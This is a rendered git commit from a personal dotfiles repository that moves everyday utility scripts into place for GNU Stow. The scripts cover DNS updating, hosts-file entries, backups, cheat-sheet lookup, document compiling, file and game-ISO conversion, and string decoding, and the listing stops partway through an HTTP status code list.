Moves binaries for use with gnu stow
This commit is contained in:
parent
c4f45a7ccc
commit
ebbd1dc04d
89 changed files with 0 additions and 0 deletions
46
bin/.bin/GoDaddyScript
Normal file
46
bin/.bin/GoDaddyScript
Normal file
|
@ -0,0 +1,46 @@
|
|||
#!/bin/bash
|
||||
|
||||
# This script is used to check and update your GoDaddy DNS server to the IP address of your current internet connection.
|
||||
# Special thanks to mfox for his ps script
|
||||
# https://github.com/markafox/GoDaddy_Powershell_DDNS
|
||||
#
|
||||
# First go to GoDaddy developer site to create a developer account and get your key and secret
|
||||
#
|
||||
# https://developer.godaddy.com/getstarted
|
||||
# Be aware that there are 2 types of key and secret - one for the test server and one for the production server
|
||||
# Get a key and secret for the production server
|
||||
#
|
||||
#Update the first 4 variables with your information
|
||||
|
||||
domain="########" # your domain
|
||||
name="########" # name of A record to update
|
||||
key="########" # key for godaddy developer API
|
||||
secret="########" # secret for godaddy developer API
|
||||
|
||||
headers="Authorization: sso-key $key:$secret"
|
||||
|
||||
# echo $headers
|
||||
|
||||
result=$(curl -s -X GET -H "$headers" "https://api.godaddy.com/v1/domains/$domain/records/A/$name")
|
||||
|
||||
#echo "Current record: $result"
|
||||
|
||||
dnsIp=$(echo $result | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b")
|
||||
echo "dnsIp:" $dnsIp
|
||||
|
||||
# Get public ip address there are several websites that can do this.
|
||||
ret=$(curl -s GET "http://ipinfo.io/json")
|
||||
currentIp=$(echo $ret | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b")
|
||||
echo "currentIp:" $currentIp
|
||||
|
||||
if [ $dnsIp != $currentIp ];
|
||||
then
|
||||
echo "Ips are not equal"
|
||||
request='{"data":"'$currentIp'","ttl":1800}'
|
||||
echo $request
|
||||
nresult=$(curl -i -s -X PUT \
|
||||
-H "$headers" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d $request "https://api.godaddy.com/v1/domains/$domain/records/A/$name")
|
||||
# echo $nresult
|
||||
fi
|
32
bin/.bin/addhost
Executable file
32
bin/.bin/addhost
Executable file
|
@ -0,0 +1,32 @@
|
|||
#!/usr/bin/bash
|
||||
if [ $1 ]; then
|
||||
case $1 in
|
||||
-h|--help)
|
||||
echo "Add entrys to your hosts file"
|
||||
echo ""
|
||||
echo -e "addhost domain.com\t\t\t\tadds domain.com to your hosts and points to local machine"
|
||||
echo -e "addhost (alex|aaron|jonathan|vps01|vps02) domain.com\tadds domain.com to your hosts and points to persons machine"
|
||||
;;
|
||||
alex)
|
||||
echo -e "10.0.1.201\t$2" | sudo tee -a /etc/hosts
|
||||
;;
|
||||
aaron)
|
||||
echo -e "10.0.1.202\t$2" | sudo tee -a /etc/hosts
|
||||
;;
|
||||
jonathan)
|
||||
echo -e "10.0.1.203\t$2" | sudo tee -a /etc/hosts
|
||||
;;
|
||||
vps01)
|
||||
echo -e "130.185.147.131\t$2" | sudo tee -a /etc/hosts
|
||||
;;
|
||||
vps02)
|
||||
echo -e "130.185.147.137\t$2" | sudo tee -a /etc/hosts
|
||||
;;
|
||||
*)
|
||||
echo -e "127.0.0.1\t$1" | sudo tee -a /etc/hosts
|
||||
;;
|
||||
esac
|
||||
else
|
||||
echo "You need to add at least a domain"
|
||||
fi
|
||||
|
15
bin/.bin/albumDuration
Executable file
15
bin/.bin/albumDuration
Executable file
|
@ -0,0 +1,15 @@
|
|||
#!/usr/bin/env bash
|
||||
shopt -s nullglob
|
||||
let playlist_duration_ms=0
|
||||
for song_file in *.{mp3,ogg,m4a,flac,wav}; do
|
||||
playlist_duration_ms=$(expr $playlist_duration_ms + $(mediainfo --Inform="Audio;%Duration%" "$song_file"))
|
||||
done
|
||||
shopt -u nullglob
|
||||
|
||||
let playlist_duration_secs=$(expr $playlist_duration_ms / 1000)
|
||||
let playlist_duration_mins=$(expr $playlist_duration_ms / 60000)
|
||||
let playlist_duration_remaining_secs=$(expr $playlist_duration_secs - $(expr $playlist_duration_mins \* 60))
|
||||
let playlist_duration_hours=$(expr $playlist_duration_mins / 60)
|
||||
let playlist_duration_remaining_mins=$(expr $playlist_duration_mins - $(expr $playlist_duration_hours \* 60))
|
||||
|
||||
echo $playlist_duration_hours hours, $playlist_duration_remaining_mins minutes, $playlist_duration_remaining_secs seconds
|
29
bin/.bin/backup
Executable file
29
bin/.bin/backup
Executable file
|
@ -0,0 +1,29 @@
|
|||
#!/usr/bin/bash
|
||||
|
||||
#Directory on the server to backup to
|
||||
BACKUPDIR='/mnt/TimeMachine/Backup-JH/backups/'
|
||||
LATEST=$(ssh officeServerJH ls ${BACKUPDIR} | sort | tail -n 1)
|
||||
TODAY=$(date -I -d "today")
|
||||
echo ${LATEST##*\/}
|
||||
echo ${TODAY}
|
||||
|
||||
#This can be tricked by having a folder with a date after the current date
|
||||
if [[ ${LATEST##*\/} = ${TODAY} ]]; then
|
||||
echo "There already seems to have been a backup today"
|
||||
echo "If you want to rename the folder ${LATEST} then run again"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
#Backup sites directory
|
||||
rsync --archive --one-file-system --hard-links --human-readable --inplace\
|
||||
--exclude-from=./backupExcludes\
|
||||
--link-dest=${BACKUPDIR}${LATEST}\
|
||||
~/Sites officeServerJH:/mnt/TimeMachine/Backup-JH/backups/${TODAY}/ --verbose
|
||||
|
||||
#Backup Documents Directory
|
||||
rsync --archive --one-file-system --hard-links --human-readable --inplace\
|
||||
--exclude-from=./backupExcludes\
|
||||
--link-dest=${BACKUPDIR}${LATEST}\
|
||||
~/Documents officeServerJH:/mnt/TimeMachine/Backup-JH/backups/${TODAY}/ --verbose
|
||||
|
||||
#At some point, add ability to delete old backups
|
15
bin/.bin/backupDatabases
Executable file
15
bin/.bin/backupDatabases
Executable file
|
@ -0,0 +1,15 @@
|
|||
#! /bin/bash
|
||||
TIMESTAMP=$(date +"%F")
|
||||
BACKUP_DIR="$HOME/Sites/db-backups"
|
||||
MYSQL_USER="root"
|
||||
MYSQL_PASSWORD="root"
|
||||
MYSQL=/opt/lampp/bin/mysql
|
||||
MYSQLDUMP=/opt/lampp/bin/mysqldump
|
||||
|
||||
mkdir -p "$BACKUP_DIR"
|
||||
|
||||
databases=`$MYSQL --user=$MYSQL_USER -p$MYSQL_PASSWORD -e "SHOW DATABASES;" | grep -Ev "(Database|information_schema|performance_schema)"`
|
||||
|
||||
for db in $databases; do
|
||||
$MYSQLDUMP --force --opt --user=$MYSQL_USER -p$MYSQL_PASSWORD --databases $db | gzip > "$BACKUP_DIR/$db-$TIMESTAMP.sql.gz"
|
||||
done
|
2
bin/.bin/backupExcludes
Normal file
2
bin/.bin/backupExcludes
Normal file
|
@ -0,0 +1,2 @@
|
|||
.git/
|
||||
node_modules/
|
5
bin/.bin/calc
Executable file
5
bin/.bin/calc
Executable file
|
@ -0,0 +1,5 @@
|
|||
#!/bin/sh
|
||||
# This script ensures that i3 will spawn a calculator.
|
||||
# If R is installed, it will run R, otherwise it will run
|
||||
# Python.
|
||||
([ -e /usr/bin/R ] && R -q --no-save) || python -q
|
3
bin/.bin/capslock
Executable file
3
bin/.bin/capslock
Executable file
|
@ -0,0 +1,3 @@
|
|||
#!/usr/bin/bash
|
||||
v=$(xset -q | grep Caps)
|
||||
echo ${v:7:17}
|
178
bin/.bin/cheat
Executable file
178
bin/.bin/cheat
Executable file
|
@ -0,0 +1,178 @@
|
|||
#!/bin/bash
|
||||
# Original Author: Alexander Epstein https://github.com/alexanderepstein
|
||||
|
||||
currentVersion="1.10.0"
|
||||
configuredClient=""
|
||||
search="0"
|
||||
insensitive=""
|
||||
recursive=""
|
||||
boundry=""
|
||||
|
||||
## This function determines which http get tool the system has installed and returns an error if there isnt one
|
||||
getConfiguredClient()
|
||||
{
|
||||
if command -v curl &>/dev/null ; then
|
||||
configuredClient="curl"
|
||||
elif command -v wget &>/dev/null ; then
|
||||
configuredClient="wget"
|
||||
elif command -v fetch &>/dev/null ; then
|
||||
configuredClient="fetch"
|
||||
else
|
||||
echo "Error: This tool reqires either curl, wget, or fetch to be installed."
|
||||
return 1
|
||||
fi
|
||||
|
||||
}
|
||||
|
||||
## Allows to call the users configured client without if statements everywhere
|
||||
httpGet()
|
||||
{
|
||||
case "$configuredClient" in
|
||||
curl) curl -A curl -s "$@";;
|
||||
wget) wget -qO- "$@";;
|
||||
fetch) fetch -o "...";;
|
||||
esac
|
||||
}
|
||||
|
||||
|
||||
checkInternet()
|
||||
{
|
||||
echo -e "GET http://google.com HTTP/1.0\n\n" | nc google.com 80 > /dev/null 2>&1 # query google with a get request
|
||||
if [ $? -eq 0 ]; then #check if the output is 0, if so no errors have occured and we have connected to google successfully
|
||||
return 0
|
||||
else
|
||||
echo "Error: no active internet connection" >&2 #sent to stderr
|
||||
return 1
|
||||
fi
|
||||
}
|
||||
|
||||
|
||||
usage()
|
||||
{
|
||||
echo "Cheat tool"
|
||||
echo "Usage: cheat [flags] [command] or cheat [flags] [programming language] [subject]"
|
||||
echo " -s Does a search for last argument rather than looking for exact match"
|
||||
echo " -i Case insensitive search"
|
||||
echo " -b Word boundaries in search"
|
||||
echo " -r Recursive search"
|
||||
echo " -h Show the help"
|
||||
echo " -v Get the tool version"
|
||||
echo "Special Pages:"
|
||||
echo " hello Describes building the hello world program written in the language"
|
||||
echo " list This lists all cheatsheets related to previous arg if none it lists all cheatsheets"
|
||||
echo " learn Shows a learn-x-in-minutes language cheat sheet perfect for getting started with the language"
|
||||
echo " 1line A collection of one-liners in this language"
|
||||
echo " weirdness A collection of examples of weird things in this language"
|
||||
}
|
||||
|
||||
getCheatSheet()
|
||||
{
|
||||
if [[ $# == 1 ]]; then
|
||||
if [[ $search == "1" ]];then
|
||||
link=cheat.sh/~$1
|
||||
else
|
||||
link=cheat.sh/$1
|
||||
fi
|
||||
else
|
||||
link=cheat.sh/$1
|
||||
fi
|
||||
|
||||
if [[ $# == 2 ]];then
|
||||
if [[ $search == "1" ]];then
|
||||
link+=/~$2
|
||||
else
|
||||
link+=/$2
|
||||
fi
|
||||
fi
|
||||
|
||||
if [[ $insensitive != "" || $recursive != "" || $boundry != "" ]];then link+=/$boundry$insensitive$recursive; fi
|
||||
|
||||
httpGet $link
|
||||
}
|
||||
|
||||
checkSpecialPage()
|
||||
{
|
||||
temp=$1
|
||||
if [[ $1 == "list" ]];then
|
||||
temp=":list"
|
||||
elif [[ $1 == "learn" ]];then
|
||||
temp=":list"
|
||||
elif [[ $1 == "styles" ]];then
|
||||
temp=":styles"
|
||||
fi
|
||||
if [[ $2 == "1" ]];then
|
||||
arg1=$temp
|
||||
else
|
||||
arg2=$temp
|
||||
fi
|
||||
}
|
||||
|
||||
getConfiguredClient || exit 1
|
||||
#checkInternet || exit 1
|
||||
|
||||
while getopts "ribuvhis" opt; do
|
||||
case $opt in
|
||||
\?)
|
||||
echo "Invalid option: -$OPTARG" >&2
|
||||
exit 1
|
||||
;;
|
||||
h)
|
||||
usage
|
||||
exit 0
|
||||
;;
|
||||
v)
|
||||
echo "Version $currentVersion"
|
||||
exit 0
|
||||
;;
|
||||
i)
|
||||
insensitive="i"
|
||||
search="1"
|
||||
;;
|
||||
b)
|
||||
boundry="b"
|
||||
search="1"
|
||||
;;
|
||||
r)
|
||||
recursive="r"
|
||||
search="1"
|
||||
;;
|
||||
s)
|
||||
search="1"
|
||||
;;
|
||||
:)
|
||||
echo "Option -$OPTARG requires an argument." >&2
|
||||
exit 1
|
||||
;;
|
||||
esac
|
||||
done
|
||||
|
||||
for arg
|
||||
do
|
||||
if [[ $arg != "-r" && $arg != "-s" && $arg != "-b" && $arg != "-i" ]];then
|
||||
if [ -z ${arg1+x} ];then
|
||||
arg1=$arg
|
||||
fi
|
||||
if [ ! -z ${arg1+x} ];then
|
||||
arg2=$arg
|
||||
fi
|
||||
fi
|
||||
done
|
||||
|
||||
checkSpecialPage $arg1 1
|
||||
checkSpecialPage $arg2 2
|
||||
|
||||
if [[ $# == 0 ]]; then
|
||||
usage
|
||||
exit 0
|
||||
elif [[ $1 == "help" || $1 == ":help" ]];then
|
||||
usage
|
||||
exit 0
|
||||
else
|
||||
if [[ $arg1 != $arg2 ]];then
|
||||
getCheatSheet $arg1 $arg2
|
||||
else
|
||||
getCheatSheet $arg1
|
||||
fi
|
||||
exit 0
|
||||
|
||||
fi
|
64
bin/.bin/compiler
Executable file
64
bin/.bin/compiler
Executable file
|
@ -0,0 +1,64 @@
|
|||
#!/bin/sh
|
||||
|
||||
# This script will compile or run another finishing operation on a document. I
|
||||
# have this script run via vim.
|
||||
#
|
||||
# tex files: Compiles to pdf, including bibliography if necessary
|
||||
# md files: Compiles to pdf via pandoc
|
||||
# rmd files: Compiles via R Markdown
|
||||
# c files: Compiles via whatever compiler is set to cc. Usually gcc.
|
||||
# py files: runs via python command
|
||||
# go files: compiles and runs with "go run"
|
||||
# config.h files: (For suckless utils) recompiles and installs program.
|
||||
# all others: run `sent` to show a presentation
|
||||
|
||||
file=$(readlink -f "$1")
|
||||
dir=$(dirname "$file")
|
||||
base="${file%.*}"
|
||||
shebang=$(sed -n 1p "$file")
|
||||
|
||||
cd "$dir" || exit
|
||||
|
||||
textype() { \
|
||||
command="pdflatex"
|
||||
( sed 5q "$file" | grep -i -q 'xelatex' ) && command="xelatex"
|
||||
$command --output-directory="$dir" "$file"
|
||||
#grep -i addbibresource "$file" >/dev/null &&
|
||||
#biber --input-directory "$dir" "$base" &&
|
||||
#$command --output-directory="$dir" "$base" &&
|
||||
#$command --output-directory="$dir" "$base"
|
||||
}
|
||||
|
||||
mdtype(){ \
|
||||
command=${2:-"default"}
|
||||
echo "$command"
|
||||
case "$command" in
|
||||
"fplreport") pandoc "$file" --metadata-file="$HOME/.dotfiles/pandoc/defaults.yaml" --template fellowship.latex --pdf-engine=xelatex -o "${base}.pdf" ;;
|
||||
"letter") pandoc "$file" --metadata-file="$HOME/.dotfiles/pandoc/defaults.yaml" --template template-letter.tex -o "${base}.pdf" ;;
|
||||
*) pandoc "$file" --metadata-file="$HOME/.dotfiles/pandoc/defaults.yaml" -o "$base".pdf ;;
|
||||
esac
|
||||
}
|
||||
|
||||
shebangtest() {
|
||||
case "$shebang" in
|
||||
\#\!*) "$file" ;;
|
||||
*) sent "$file" 2>/dev/null & ;;
|
||||
esac
|
||||
}
|
||||
|
||||
case "$file" in
|
||||
*\.ms) refer -PS -e "$file" | groff -me -ms -kejpt -T pdf > "$base".pdf ;;
|
||||
*\.mom) refer -PS -e "$file" | groff -mom -kejpt -T pdf > "$base".pdf ;;
|
||||
*\.rmd) echo "require(rmarkdown); render('$file')" | R -q --vanilla ;;
|
||||
*\.tex|*\.latex) textype "$file" ;;
|
||||
#*\.md) pandoc "$file" --pdf-engine=xelatex -o "$base".pdf ;;
|
||||
#*\.md) pandoc "$file" -o "$base".pdf ;;
|
||||
/tmp/neomutt*|*\.md) mdtype "$file" "$2" ;;
|
||||
*config.h) make && sudo make install ;;
|
||||
*\.c) cc "$file" -o "$base" && "$base" ;;
|
||||
*\.py) python "$file" ;;
|
||||
*\.js) cat "$file" | minify --js > "${base}.min.js" ;;
|
||||
*\.less) lessc --clean-css --source-map --autoprefix="last 3 versions, ie >= 11" "$file" "${base}.min.css" ;;
|
||||
#*\.go) go run "$file" ;;
|
||||
#*) shebangtest ;;
|
||||
esac
|
22
bin/.bin/conversion/code-to-pdf
Executable file
22
bin/.bin/conversion/code-to-pdf
Executable file
|
@ -0,0 +1,22 @@
|
|||
#!/usr/bin/env bash
|
||||
|
||||
TITLE="$1"
|
||||
shift
|
||||
|
||||
enscript -1 --media=A4 \
|
||||
--toc \
|
||||
--header '%H - $N | | page $% of $= in file $v' \
|
||||
--font "Menlo-Regular@8.5" \
|
||||
--header-font "Menlo-Bold@10" \
|
||||
--margins=60:60:18:60 \
|
||||
--fancy-header=sjl \
|
||||
--title $TITLE \
|
||||
--baselineskip 3 \
|
||||
--line-numbers \
|
||||
--highlight \
|
||||
--color \
|
||||
--mark-wrapped-lines=arrow \
|
||||
-p - \
|
||||
--word-wrap $* \
|
||||
| ps2pdf -i -o code.pdf
|
||||
|
12
bin/.bin/conversion/convert-to-pdf
Executable file
12
bin/.bin/conversion/convert-to-pdf
Executable file
|
@ -0,0 +1,12 @@
|
|||
#!/usr/bin/env sh
|
||||
|
||||
file=$(readlink -f "$1")
|
||||
dir=$(dirname "$file")
|
||||
base="${file%.*}"
|
||||
|
||||
cd "$dir" || exit
|
||||
|
||||
case "$file" in
|
||||
*\.doc|*\.docx) libreoffice --convert-to pdf "$file" ;;
|
||||
*) echo "Don't know how to convert $file"
|
||||
esac
|
157
bin/.bin/conversion/csvtomd
Executable file
157
bin/.bin/conversion/csvtomd
Executable file
|
@ -0,0 +1,157 @@
|
|||
#!/usr/bin/env python3
|
||||
|
||||
"""
|
||||
csvtomd 0.2.1
|
||||
|
||||
Convert your CSV files into Markdown tables.
|
||||
|
||||
More info: http://github.com/mplewis/csvtomd
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import csv
|
||||
import sys
|
||||
|
||||
|
||||
def check_negative(value):
|
||||
try:
|
||||
ivalue = int(value)
|
||||
except ValueError:
|
||||
raise argparse.ArgumentTypeError(
|
||||
'"%s" must be an integer' % value)
|
||||
if ivalue < 0:
|
||||
raise argparse.ArgumentTypeError(
|
||||
'"%s" must not be a negative value' % value)
|
||||
return ivalue
|
||||
|
||||
|
||||
def pad_to(unpadded, target_len):
|
||||
"""
|
||||
Pad a string to the target length in characters, or return the original
|
||||
string if it's longer than the target length.
|
||||
"""
|
||||
under = target_len - len(unpadded)
|
||||
if under <= 0:
|
||||
return unpadded
|
||||
return unpadded + (' ' * under)
|
||||
|
||||
|
||||
def normalize_cols(table):
|
||||
"""
|
||||
Pad short rows to the length of the longest row to help render "jagged"
|
||||
CSV files
|
||||
"""
|
||||
longest_row_len = max([len(row) for row in table])
|
||||
for row in table:
|
||||
while len(row) < longest_row_len:
|
||||
row.append('')
|
||||
return table
|
||||
|
||||
|
||||
def pad_cells(table):
|
||||
"""Pad each cell to the size of the largest cell in its column."""
|
||||
col_sizes = [max(map(len, col)) for col in zip(*table)]
|
||||
for row in table:
|
||||
for cell_num, cell in enumerate(row):
|
||||
row[cell_num] = pad_to(cell, col_sizes[cell_num])
|
||||
return table
|
||||
|
||||
|
||||
def horiz_div(col_widths, horiz, vert, padding):
|
||||
"""
|
||||
Create the column dividers for a table with given column widths.
|
||||
|
||||
col_widths: list of column widths
|
||||
horiz: the character to use for a horizontal divider
|
||||
vert: the character to use for a vertical divider
|
||||
padding: amount of padding to add to each side of a column
|
||||
"""
|
||||
horizs = [horiz * w for w in col_widths]
|
||||
div = ''.join([padding * horiz, vert, padding * horiz])
|
||||
return div.join(horizs)
|
||||
|
||||
|
||||
def add_dividers(row, divider, padding):
|
||||
"""Add dividers and padding to a row of cells and return a string."""
|
||||
div = ''.join([padding * ' ', divider, padding * ' '])
|
||||
return div.join(row)
|
||||
|
||||
|
||||
def md_table(table, *, padding=1, divider='|', header_div='-'):
|
||||
"""
|
||||
Convert a 2D array of items into a Markdown table.
|
||||
|
||||
padding: the number of padding spaces on either side of each divider
|
||||
divider: the vertical divider to place between columns
|
||||
header_div: the horizontal divider to place between the header row and
|
||||
body cells
|
||||
"""
|
||||
table = normalize_cols(table)
|
||||
table = pad_cells(table)
|
||||
header = table[0]
|
||||
body = table[1:]
|
||||
|
||||
col_widths = [len(cell) for cell in header]
|
||||
horiz = horiz_div(col_widths, header_div, divider, padding)
|
||||
|
||||
header = add_dividers(header, divider, padding)
|
||||
body = [add_dividers(row, divider, padding) for row in body]
|
||||
|
||||
table = [header, horiz]
|
||||
table.extend(body)
|
||||
table = [row.rstrip() for row in table]
|
||||
return '\n'.join(table)
|
||||
|
||||
|
||||
def csv_to_table(file, delimiter):
|
||||
return list(csv.reader(file, delimiter=delimiter))
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(
|
||||
description='Read one or more CSV files and output their contents in '
|
||||
'the form of Markdown tables.')
|
||||
parser.add_argument('files', metavar='csv_file', type=str, nargs='*',
|
||||
default=['-'],
|
||||
help="One or more CSV files to be converted. "
|
||||
"Use - for stdin.")
|
||||
parser.add_argument('-n', '--no-filenames', action='store_false',
|
||||
dest='show_filenames',
|
||||
help="Don't display filenames when outputting "
|
||||
"multiple Markdown tables.")
|
||||
parser.add_argument('-p', '--padding', type=check_negative, default=2,
|
||||
help="The number of spaces to add between table cells "
|
||||
"and column dividers. Default is 2 spaces.")
|
||||
parser.add_argument('-d', '--delimiter', default=',',
|
||||
help='The delimiter to use when parsing CSV data. '
|
||||
'Default is "%(default)s"')
|
||||
|
||||
args = parser.parse_args()
|
||||
first = True
|
||||
|
||||
if '-' in args.files and len(args.files) > 1:
|
||||
print('Standard input can only be used alone.', file=sys.stderr)
|
||||
exit(1)
|
||||
for file_num, filename in enumerate(args.files):
|
||||
# Print space between consecutive tables
|
||||
if not first:
|
||||
print('')
|
||||
else:
|
||||
first = False
|
||||
# Read the CSV files
|
||||
if filename == '-':
|
||||
table = csv_to_table(sys.stdin, args.delimiter)
|
||||
else:
|
||||
with open(filename, 'rU') as f:
|
||||
table = csv_to_table(f, args.delimiter)
|
||||
# Print filename for each table if --no-filenames wasn't passed and
|
||||
# more than one CSV was provided
|
||||
file_count = len(args.files)
|
||||
if args.show_filenames and file_count > 1:
|
||||
print(filename + '\n')
|
||||
# Generate and print Markdown table
|
||||
print(md_table(table, padding=args.padding))
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
45
bin/.bin/conversion/iso-to-game-cube
Executable file
45
bin/.bin/conversion/iso-to-game-cube
Executable file
|
@ -0,0 +1,45 @@
|
|||
#!/usr/bin/sh
|
||||
if [ $# -lt 1 ]; then
|
||||
echo -e "convert gamecube iso games to ciso (compress iso, ignore usused blocks)."
|
||||
echo -e "works with nintendont v4.428+ and usbloadergx on a modded wii console."
|
||||
echo -e "Note: after conversion the ciso will be renamed to iso to make it work under usbloadergx"
|
||||
echo -e "\nUsage: $0 <filename>"
|
||||
echo -e "\nExample:\n$0 Melee.iso"
|
||||
echo -e "$0 Melee.iso DoubleDash.iso WindWaker.iso"
|
||||
echo -e "$0 *.iso"
|
||||
echo -e "\nNintendont uses these paths:"
|
||||
echo -e "USB:/games/"
|
||||
echo -e "USB:/games/Name of game [GameID]/game.iso"
|
||||
echo -e "USB:/games/Legend of Zelda the Wind Waker (USA) [GZLP01]/game.iso"
|
||||
echo -e "\nMultiple Gamecube Disc Example:"
|
||||
echo -e "USB:/games/Resident Evil 4 (USA) [G4BE08]/game.iso"
|
||||
echo -e "USB:/games/Resident Evil 4 (USA) [G4BE08]/disc2.iso"
|
||||
return 1
|
||||
fi
|
||||
myArray=( "$@" )
|
||||
for arg in "${myArray[@]}"; do
|
||||
FILENAME="${arg%.*}"
|
||||
REGION=$(wit lll -H "$arg" | awk '{print $4}')
|
||||
GAMEID=$(wit lll -H "$arg" | awk '{print $1}')
|
||||
TITLE=$(wit lll -H "$arg" | awk '{ print substr($0, index($0,$5)) }' | awk '{$1=$1};1' )
|
||||
DIR_FILENAME="$FILENAME [$GAMEID]"
|
||||
DIR_TITLENAME="$TITLE [$GAMEID]"
|
||||
|
||||
## no conversion; only generate folder base on title inside the rom, move iso to folder
|
||||
# mkdir -pv "$DIR_TITLENAME"
|
||||
# mv -v "$arg" "$DIR_TITLENAME"/game.iso
|
||||
|
||||
## no conversion; only generate folder base on filename, move iso to folder
|
||||
# mkdir -pv "$DIR_FILENAME"
|
||||
# mv -v "$arg" "$DIR_FILENAME"/game.iso
|
||||
|
||||
## convert to ciso; generate folder base on title inside the rom; move ciso to folder
|
||||
## rename ciso to iso ; this will make it compatible with both nintendont and usbloadergx
|
||||
# mkdir -pv "$DIR_TITLENAME"
|
||||
# wit copy --ciso "$arg" "$DIR_TITLENAME"/game.iso
|
||||
|
||||
## convert to ciso; generate folder base on filename; move ciso to folder
|
||||
## rename ciso to iso ; this will make it compatible with both nintendont and usbloadergx
|
||||
mkdir -pv "$DIR_FILENAME"
|
||||
wit copy --ciso "$arg" "$DIR_FILENAME"/game.iso
|
||||
done
|
35
bin/.bin/conversion/iso-to-wii
Executable file
35
bin/.bin/conversion/iso-to-wii
Executable file
|
@ -0,0 +1,35 @@
|
|||
#!/usr/bin/sh
|
||||
if [ $# -lt 1 ]; then
|
||||
echo -e "convert wii iso games to wbfs that will works with usbloadergx on a modded wii console"
|
||||
echo -e "\nUsage: $0 <filename>"
|
||||
echo -e "\nExample:\n$0 WiiSports.iso"
|
||||
echo -e "$0 MarioKart.iso Zelda.iso DonkeyKong.iso"
|
||||
echo -e "$0 *.iso"
|
||||
echo -e "\nUSBLoaderGX uses these paths:"
|
||||
echo -e "USB:/wbfs/"
|
||||
echo -e "USB:/wbfs/Name of game [GameID]/GameID.wbfs"
|
||||
echo -e "USB:/wbfs/Donkey Kong Country Returns (USA) [SF8E01]/SF8E01.wbfs"
|
||||
echo -e "\nSplit Wii Game Example:"
|
||||
echo -e "USB:/wbfs/Super Smash Bros Brawl (NTSC) [RSBE01]/RSBE01.wbf1"
|
||||
echo -e "USB:/wbfs/Super Smash Bros Brawl (NTSC) [RSBE01]/RSBE01.wbf2"
|
||||
echo -e "USB:/wbfs/Super Smash Bros Brawl (NTSC) [RSBE01]/RSBE01.wbf3"
|
||||
echo -e "USB:/wbfs/Super Smash Bros Brawl (NTSC) [RSBE01]/RSBE01.wbfs"
|
||||
return 1
|
||||
fi
|
||||
myArray=( "$@" )
|
||||
for arg in "${myArray[@]}"; do
|
||||
FILENAME="${arg%.*}"
|
||||
REGION=$(wit lll -H "$arg" | awk '{print $4}')
|
||||
GAMEID=$(wit lll -H "$arg" | awk '{print $1}')
|
||||
TITLE=$(wit lll -H "$arg" | awk '{ print substr($0, index($0,$5)) }' | awk '{$1=$1};1' )
|
||||
DIR_FILENAME="$FILENAME [$GAMEID]"
|
||||
DIR_TITLENAME="$TITLE [$GAMEID]"
|
||||
|
||||
## create proper folder structure base on title inside the rom, scrub image & convert to wbfs, auto split at 4GB a piece
|
||||
# mkdir -pv "$DIR_TITLENAME"
|
||||
# wit copy --wbfs --split "$arg" "$DIR_TITLENAME"/"$GAMEID.wbfs"
|
||||
|
||||
## create proper folder structure base on filename, scrub image & convert to wbfs, auto split at 4GB a piece
|
||||
mkdir -pv "$DIR_FILENAME"
|
||||
wit copy --wbfs --split "$arg" "$DIR_FILENAME"/"$GAMEID.wbfs"
|
||||
done
|
14
bin/.bin/conversion/otf2ttf
Executable file
14
bin/.bin/conversion/otf2ttf
Executable file
|
@ -0,0 +1,14 @@
|
|||
#!/usr/bin/env python
|
||||
import fontforge as ff
|
||||
import sys
|
||||
|
||||
args = sys.argv[1:]
|
||||
|
||||
if args[0] == '--help':
|
||||
print("otf2ttf <font>")
|
||||
else:
|
||||
otf = args[0]
|
||||
ttf = otf.replace('otf','ttf')
|
||||
print( otf + ' => ' + ttf )
|
||||
f = ff.open( otf )
|
||||
f.generate( ttf )
|
41
bin/.bin/decode
Executable file
41
bin/.bin/decode
Executable file
|
@ -0,0 +1,41 @@
|
|||
#!/usr/bin/env bash
|
||||
|
||||
##Helper Functions
|
||||
|
||||
urldecode() {
|
||||
# urldecode <string>
|
||||
local url_encoded="${1//+/ }"
|
||||
printf '%b' "${url_encoded//%/\\x}"
|
||||
}
|
||||
|
||||
string="$1"
|
||||
if [ -z "$string" ]; then
|
||||
string="$(cat)"
|
||||
fi
|
||||
|
||||
# Base 64
|
||||
decoded=$(echo -n "$string" | base64 -d 2> /dev/null)
|
||||
# Check to see if base64 decode was successfull, only print if it was
|
||||
if [ $? -eq 0 ] && [ "$decoded" != "$string" ]; then
|
||||
echo -en "Base64\t"
|
||||
echo "$decoded"
|
||||
fi
|
||||
|
||||
#URL
|
||||
decoded=$(urldecode "$string")
|
||||
if [ "$decoded" != "$string" ]; then
|
||||
echo -en "URL\t"
|
||||
echo "$decoded"
|
||||
fi
|
||||
|
||||
#Hex
|
||||
decoded=$(echo -n "$string" | xxd -r -p)
|
||||
if [ ! -z "$decoded" ] && [ "$decoded" != "$string" ]; then
|
||||
echo -en "HEX\t"
|
||||
echo $decoded
|
||||
fi
|
||||
|
||||
# Binary
|
||||
echo -en "
|
||||
for i in $string; do
|
||||
echo "ibase=2;$i" | bc
|
5
bin/.bin/dmenu/README.md
Normal file
5
bin/.bin/dmenu/README.md
Normal file
|
@ -0,0 +1,5 @@
|
|||
# Dmenu Scripts
|
||||
|
||||
Most of these scripts should work with dmenu although I have a dmenu symlinked to [rofi](https://github.com/davatorium/rofi) because I haven't yet got around to switching and testing these scripts with proper dmenu.
|
||||
|
||||
|
1
bin/.bin/dmenu/dmenu
Symbolic link
1
bin/.bin/dmenu/dmenu
Symbolic link
|
@ -0,0 +1 @@
|
|||
/usr/bin/rofi
|
62
bin/.bin/dmenu/http-status-codes
Normal file
62
bin/.bin/dmenu/http-status-codes
Normal file
|
@ -0,0 +1,62 @@
|
|||
100 Continue
|
||||
101 Switching Protocols
|
||||
102 Processing
|
||||
103 Early Hints
|
||||
200 OK
|
||||
201 Created
|
||||
202 Accepted
|
||||
203 Non-Authoritative Information
|
||||
204 No Content
|
||||
205 Reset Content
|
||||
206 Partial Content
|
||||
207 Multi-Status
|
||||
208 Already Reported
|
||||
226 IM Used
|
||||
300 Multiple Choices
|
||||
301 Moved Permanently
|
||||
302 Found
|
||||
303 See Other
|
||||
304 Not Modified
|
||||
305 Use Proxy
|
||||
307 Temporary Redirect
|
||||
308 Permanent Redirect
|
||||
400 Bad Request
|
||||
401 Unauthorized
|
||||
402 Payment Required
|
||||
403 Forbidden
|
||||
404 Not Found
|
||||
